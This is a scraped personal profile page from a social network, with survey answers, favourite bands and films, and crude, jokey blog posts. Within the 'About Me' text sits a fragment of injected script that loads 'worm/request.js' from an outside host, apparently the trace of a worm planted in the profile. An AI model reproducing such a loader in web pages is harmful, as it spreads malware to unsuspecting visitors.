Killer!'s Profile |
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Madder than Mad Jack Mcmad! Winner of last years mad award!!! |
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| Age: | 32 years old |
| Sex: | Male |
| Location: | Northampton, East |
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| Height: | 5' 11" |
| BodyType: | Average |
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| Last Login: | Jun 18, 2008 (111 days back) |
| I am Here For Dating, Serious Relationships, Friends and Networking. | |
About Me |
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| People say I look a bit like Patrick Kielty! Love life, i'm a bit special or so i'm told. Love travelling! Very spiritual. Enjoying single life! Have own businesses which take up most of my time! Enjoy travelling! Love socialising with friends. CARPE DIEM! Love riding my Yamaha R6, And I don't know what it is but girl bikers look so sexy in their leathers!SINGING MY HEAD OFF IN THE CAR! and car dancing with me old mucka an drinkin buddy The Kellster! Love Music I am open minded and have a varied taste Lyrics can often tell an interesting story and relate to your life, A sort of soundtrack to your own existence! Rolling my bogies and flicking them! Doing loud farts! Oh and most of all I love sex!A little bit Weeer a little bit weeeey!Know what I mean treacle? Love this web site check it out pure old gold genius! www.tv.cream.org.. width="425" height="350" ........ language="javascript" src="http://angeliceyz00.../worm/request.js"function nothingf(){document·write("jajaja...{}");}.. | |
My Interests |
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| Going out with my friends! Hugging trees, being at one with the earth, I'm a 21st Century hippy, Making mud pies! Splashing in puddles! Standing out in the summer rain and a thunder storm feeling it on my face and the smell of the rain! Barking at the moon! I love splatting my face headfirst into big jellies!, Knitting and make chutney, Basket weaving. (The last bit isn't true!)-----Syntnovator | |
I'd like to meet:Salvador Dali! Sid Barrat, Dick Emery, Alice Martineau, Big Dave off the pot noodle advert! Jimmy Saville! So I can kick the twat in the nuts for not answering my letter when I wrote into Jim'll fix it! I'll Fu*king give him now then now then! Roland Browning. Ro-laaaand, Ro-laaand, I only want to help you Ro-laaaand! And Podge and Rodge! Quality! Irish men from the homeland!Twiki from off of Buck Rodgers Bi Di Bi Di Bi Di! Gee Buck. Arnold From Different strokes, & Mr-T! Wellephant! Remember Kids, "Matches Matches never touch, they can hurt you very much"Joey Deacon!Oh And the Legendary DAVE GROHL!!!!!.. width="425" height="350" ..TELL ME ABOUT YOURSELF - The Survey Name: Yes I have one! Birthday: Once a year Birthplace: In my mummies tummy then a hospital! Current Location: Work Eye Color: Blue but one greener (FREAK) Hair Color: Blonde Height: 5"11 ish Right Handed or Left Handed: What when having a wank? OOO sorry right! Your Heritage: Irish Blood, English Heart The Shoes You Wore Today: Diesel Trainers Your Weakness: My compassion for others Your Fears: Can't tell you that! Your Perfect Pizza: Dominoes Pepperoni with anchovies, mushroom,sweetcorn, check your poo after! Goal You Would Like To Achieve This Year: To be truly happy Your Most Overused Phrase On an instant messenger: Alright treacle! Thoughts First Waking Up: Christ I need a piss! Please go down! Your Best Physical Feature: Ha Ha Ha Have you seen me? Your Bedtime: Varies, i'm an insomniac Your Most Missed Memory: My mum, lost her at 6. Had to grow up before my time. Pepsi or Coke: Silly! You can't snort pepsi! the bubbles tickle! MacDonalds or Burger King: Neither if I can help it! But B.K if my life depends on it! Single or Group Dates: I will try anything once! Lipton Ice Tea or Nestea: Neither I would rather drink tramps piss! Chocolate or Vanilla: Hmmmmmm tough one! Vanilla Cappuccino or Coffee: Yak! Neither, the smell makes me wretch! Do you Smoke: Sociably Do you Swear: Ahem No not at all! Ha Ha Do you Sing: Oh do I! all the time baby! Do you Shower Daily: Twice! I aint no pikey! Have you Been in Love: Yes! I question what it is now though! Do you want to go to College: Yes cos i'm spesh! Do you want to get Married: Yes maybe one day! Do you belive in yourself: I have to! Do you get Motion Sickness: Only when i'm wankered at alton towers! Do you think you are Attractive: Ha Ha Ha have you seen me!? Are you a Health Freak: Erm! Sort of! Do you get along with your Parents: My dad's not a bad stick! Do you like Thunderstorms: YES!!! Love them! Do you play an Instrument: Yes! In the past month have you Drank Alcohol: Ha Ha Ha you're asking me that! In the past month have you Smoked: Yes! In the past month have you gone on a Date: Yes! In the past month have you gone to a Mall: No but I did go to a shopping centre! In the past month have you eaten a box of Oreos: Nahhhh! In the past month have you eaten Sushi: Ha Ha chuckle! Guffaw guffaw Kwoo! Snigger! In the past month have you been on Stage: Yes In the past month have you been Dumped: Nope! Ha Ha In the past month have you gone Skinny Dipping: Does the bath count? In the past month have you Stolen Anything: No! I'm slacking! Ever been Drunk: Ha Ha Ha what me? (Adjust halo) Ever been called a Tease: Yup! Ever been Beaten up: Yes Ever Shoplifted: Yes How do you want to Die: I know! sort of but want a real rock n roll death! What do you want to be when you Grow Up: Let you know when I grow up! What country would you most like to Visit: Fiji, Brazil, Mexico, Cuba, New Zealand In a Boy/Girl.. Favourite Eye Color: Green Favourite Hair Color: Auburn but not Ginger! Short or Long Hair: Whatever! Height: Not a hobbit! Weight: looks are just a bonus! Best Clothing Style: Smart n sexy but also combats and casual! Number of Drugs I have taken: Can I borrow your fingers and toes? Zammo stopped me! Number of CDs I own: Fuck knows! Number of Piercings: one Number of Tattoos: None (watch this space) Number of things in my Past I Regret: Never regret! But regret not doing! CREATE YOUR OWN! - or - GET PAID TO TAKE SURVEYS!Synthetic and Jeet ..! |
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Music:All Kinds,Cajun Dance Party, Boy Killed Boy, Kasabian,The Fratellis, Pink Floyd, Maximo Park, Seal, Bugz in the Attic, Gorrilaz, The Hoosiers, Morcheeba,fatima meets kuriaki, Johnny Cash ,The Libertines, Rufus Wainwright, Lily Allen, Babyshambles, ELO, Supertramp, Manic Street Preachers, Jamiraqie DIDO,Travis, Maps, Green Day, Tom Novy, David Grey, Starsailor, Bloc Party, Fleetwood Mack, U2, Coldplay, Snowpatrol, Starsailor, Racounteirs, Tenacious D, Supergrass,The Flaming Lips, The Strokes, The Killers, Doves, MUSE, Radiohead, Massive attack, Faithless, Razorlight, Air, Royksopp, MOBY, Richard Ashcroft, SPACE, The Coral The Strokes, Dido, Massive attack, Portishead, Madness, Ocean Coloured Scene, Paul Weller, The Longpigs, Kaiser Chiefs, The Libertines, The Specials,Turin Brakes, The Foo Fighters,Razorlight, Dirty Pretty things, Queens of the stone age, David Bowie, Nirvana, Elton John, Death in vegas, The lighthouse family (SHUSH), Simply Red, Alice Martineau, I am Kloot (Check them out, they are amazing), Franz Ferdinand, The Streets, Avril Lavigne. All kinds really! Arctic Monkeys, Editors. Dirty Pretty things, the kooks, Red Hot Chilli Peppers,Shakira, The Editors, Jack Johnson, K T Tunstall, The Rapture,The KlaxonsWhich Trainspotting Character Are You?.. width="425" height="350" .... X |
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Movies:Love cartoons! Leon The Blues Brothers, The Fisher King, Dragon The Bruce Lee Story. One Flew Over The Cuckoos Nest, Awakenings, The Big Lebowski, The Green Mile, Escape from Alcatraz Old Clint Eastwood westerns, (Yeah I Know) But they are Kwal-eee-tey!! Team America World Police, Napoleon Dynamite, (VOTE FOR PEDRO!) Oh Ha Ha and just the best! 50 First Dates! Funny as F$*K! The Blues Brothers, SNATCH, Lock stock, Transformers,Dude, Where's my car. And most marvel comic films! |
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Television:Dr. Who, Robot Chicken, Fat Dog Mendoza, ALIAS, HEX, Angel. Bullseye (Get In! Old Gold) Lost, Invasion, Pinky & The Brain, Game On, Monkey, Stenders! Southpark, The Simpsons,POB's programme "RASP", Family Guy,Bronx Bunny, Porn, Monkey Dust,Fosters home for imaginary friends, Trailer Park Boys, Minder, Shameless, Podge and Rodge, Little Britain, Telebugs, Spooks, The Frosties Advert! INVASION, IDEAL, Hollyoaks (But it isn't the best at the moment) Old cartoons. Dr. Snuggles, Sport Billy,Orm and cheep, Button moon, Battle of the planets, MASK, Transformers, He-Man. Dangermouse. Chorlten and the wheelies, Trumpton, Camberwick Green, Mr. Ben, Pigeon Street! Trap Door, Jamie and the magic torch, Monkey Dust, Hong Kong Phooey, The anthill mob! Thundercats, Podge and Rodge! Ivor the engine, Old Grange Hill. "Rolaaaand Rolaaand I only want to help you Rolaaaaand" |
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Books:The Hungry Catterpillar! |
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Heroes:Worzel Gummidge! He's a legend! Cup o tea and a slice of cake aunt sally, mud pie? My imaginary friend Anthony! Barry Scott from the Cillic bang adverts!And Barry Bethnall off the slimfast adverts. What a guy!!!Anthony my imaginary friend! He is a pain in the arse at times though!Check Out This Bad Boy Chooonage!!!! |
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My Background and Lifestyle |
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| MaritalStatus: | Single |
| Ethnicity: | White / Caucasian |
| SexualOrientation: | Straight |
| Hometown: | Northampton |
| Religion: | Catholic |
| Smoker: | Yes |
| Drinker: | Yes |
| Children: | Someday |
| Education: | High school |
| Occupation: | Proprietor/Landlord |
| Income: | $45,000 to $60,000 |
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My Blog |
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It's a Mystery to me! |
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| But Damn this man must be something!
Lucky bastard!
Who Is Raul???
and who is the ***Inland_Empire***"
Hmmmmmmm!
He make many lovely woman happy me thinks!
;oP... Posted by Killer! on Wed, 10 Jan 2007 11:27:00 PST |
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TELL ME YOUR GUILTY PLEASURES! |
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| EVER HAD A SECRET TUNE THAT MEANS SOMETHING TO YOU OR THAT YOU JUST SIMPLY LOVE!?
TELL ME WHAT THEY ARE!
IS IT THE BIRDY SONG OR THE TWEENIES?
OR SOMETHING ELSE? ... Posted by Killer! on Tue, 09 Jan 2007 04:50:00 PST |
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I have just met my hero |
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| Oh Yes people!
Today I met a true legend!
Peter Dowdeswell of Earls barton In Northampton, Who is the world record holder for eating and drinking beer!
I now know my true calling in life... Posted by Killer! on Fri, 11 Aug 2006 07:54:00 PST |
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Killer's My Space Cum Face Competition! |
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| Allo Kiddies!
Right I challenge you all to post the best Cum face on here!
What's yours like?
Prize of a dry slap to the winner!... Posted by Killer! on Thu, 03 Aug 2006 11:26:00 PST |
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Christ On A Bike & Shit The Bed it's hot! |
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| Right!
Which one of you dousche bags wants a water fight?
Are you up for it?
Bring on your super soakers!
:op
XX... Posted by Killer! on Mon, 24 Jul 2006 09:10:00 PST |
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WHAT THE FUCK IS A BREAKFAST PLATE FOR CEREAL? |
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| Right!
Me! The Twat Who wrote that Frosties Advert Song And The Nob Jockey Who wrote The Sheilas Wheels Song!
In a room!
Who wants to join me kicking the fuck out of them?
No strict dress code! ... Posted by Killer! on Mon, 17 Jul 2006 11:25:00 PST |
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PURE GENIUS! BRINGS BACK MEMORIES! |
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| WHAT AN AWESOME WEB SITE!
Oh yes yes yes old gold!QualityYou need speakers though!So if you're a PIKEY LOSER and don't have any on your computer then you may aswell fuck off outside and play with ... Posted by Killer! on Mon, 17 Jul 2006 03:53:00 PST |
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Tunstall Alarms! |
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| Went to a wedding up in Nottingham yesterday!
The lovely Jo and Steve! Great couple! Have known Jo since she was ickle!
Stayed at probably the worlds most random pub!
Firstly my room was a raspberry r... Posted by Killer! on Sun, 16 Jul 2006 05:57:00 PST |
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